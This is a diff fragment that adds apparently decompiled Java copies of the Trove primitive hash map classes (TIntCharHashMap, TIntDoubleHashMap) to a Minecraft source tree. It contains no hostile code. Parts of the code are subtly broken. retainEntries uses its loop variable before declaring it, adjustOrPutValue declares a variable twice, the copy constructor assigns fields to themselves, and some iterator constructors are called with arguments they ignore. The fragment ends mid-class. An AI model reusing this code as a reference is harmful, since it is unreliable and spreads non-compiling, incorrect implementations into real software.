+      for (int element : array) {
+        if (!TIntCharHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TIntSet)) {
+        return false;
+      }
+      TIntSet that = (TIntSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TCharCollection
+  {
+    protected TValueView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TIntCharHashMap.TIntCharValueHashIterator(TIntCharHashMap.this, TIntCharHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return values();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      char[] values = _values;
+      int[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TIntCharKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TIntCharKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TIntCharValueHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TIntCharValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TIntCharHashIterator
+    extends THashPrimitiveIterator
+    implements TIntCharIterator
+  {
+    TIntCharHashIterator(TIntCharHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public int key()
+    {
+      return _set[_index];
+    }
+    
+    public char value()
+    {
+      return _values[_index];
+    }
+    
+    public char setValue(char val)
+    {
+      char old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TIntCharMap)) {
+      return false;
+    }
+    TIntCharMap that = (TIntCharMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    char[] values = _values;
+    byte[] states = _states;
+    char this_no_entry_value = getNoEntryValue();
+    char that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        int key = _set[i];
+        char that_value = that.get(key);
+        char this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TIntCharProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(int key, char value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeInt(_set[i]);
+        out.writeChar(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      int key = in.readInt();
+      char val = in.readChar();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TIntDoubleHashMap.java b/src/minecraft/gnu/trove/map/hash/TIntDoubleHashMap.java
new file mode 100644
index 0000000..8a84317
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TIntDoubleHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TIntDoubleHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TIntDoubleIterator;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.map.TIntDoubleMap;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TIntDoubleProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntDoubleHashMap
+  extends TIntDoubleHash
+  implements TIntDoubleMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient double[] _values;
+  
+  public TIntDoubleHashMap() {}
+  
+  public TIntDoubleHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntDoubleHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TIntDoubleHashMap(int initialCapacity, float loadFactor, int noEntryKey, double noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TIntDoubleHashMap(int[] keys, double[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TIntDoubleHashMap(TIntDoubleMap map)
+  {
+    super(map.size());
+    if ((map instanceof TIntDoubleHashMap)) {
+      TIntDoubleHashMap hashmap = (TIntDoubleHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    int[] oldKeys = _set;
+    double[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new int[newCapacity];
+    _values = new double[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        int o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public double put(int key, double value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public double putIfAbsent(int key, double value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private double doPut(int key, double value, int index)
+  {
+    double previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Integer, ? extends Double> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Integer, ? extends Double> entry : map.entrySet()) {
+      put(((Integer)entry.getKey()).intValue(), ((Double)entry.getValue()).doubleValue());
+    }
+  }
+  
+
+  public void putAll(TIntDoubleMap map)
+  {
+    ensureCapacity(map.size());
+    TIntDoubleIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public double get(int key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public double remove(int key)
+  {
+    double prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TIntSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public int[] keys()
+  {
+    int[] keys = new int[size()];
+    int[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public int[] keys(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TDoubleCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public double[] values()
+  {
+    double[] vals = new double[size()];
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public double[] values(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(double val)
+  {
+    byte[] states = _states;
+    double[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(int key)
+  {
+    return contains(key);
+  }
+  
+
+  public TIntDoubleIterator iterator()
+  {
+    return new TIntDoubleHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TIntProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TIntDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] keys = _set;
+    double[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TDoubleFunction function)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TIntDoubleProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    int[] keys = _set;
+    double[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(int key)
+  {
+    return adjustValue(key, 1.0D);
+  }
+  
+
+  public boolean adjustValue(int key, double amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public double adjustOrPutValue(int key, double adjust_amount, double put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    double newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      double newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TIntSet
+  {
+    protected TKeyView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TIntDoubleHashMap.TIntDoubleKeyHashIterator(TIntDoubleHashMap.this, TIntDoubleHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return TIntDoubleHashMap.this.contains(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!TIntDoubleHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TIntSet)) {
+        return false;
+      }
+      TIntSet that = (TIntSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TDoubleCollection
+  {
+    protected TValueView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TIntDoubleHashMap.TIntDoubleValueHashIterator(TIntDoubleHashMap.this, TIntDoubleHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return values();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      double[] values = _values;
+      int[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TIntDoubleKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
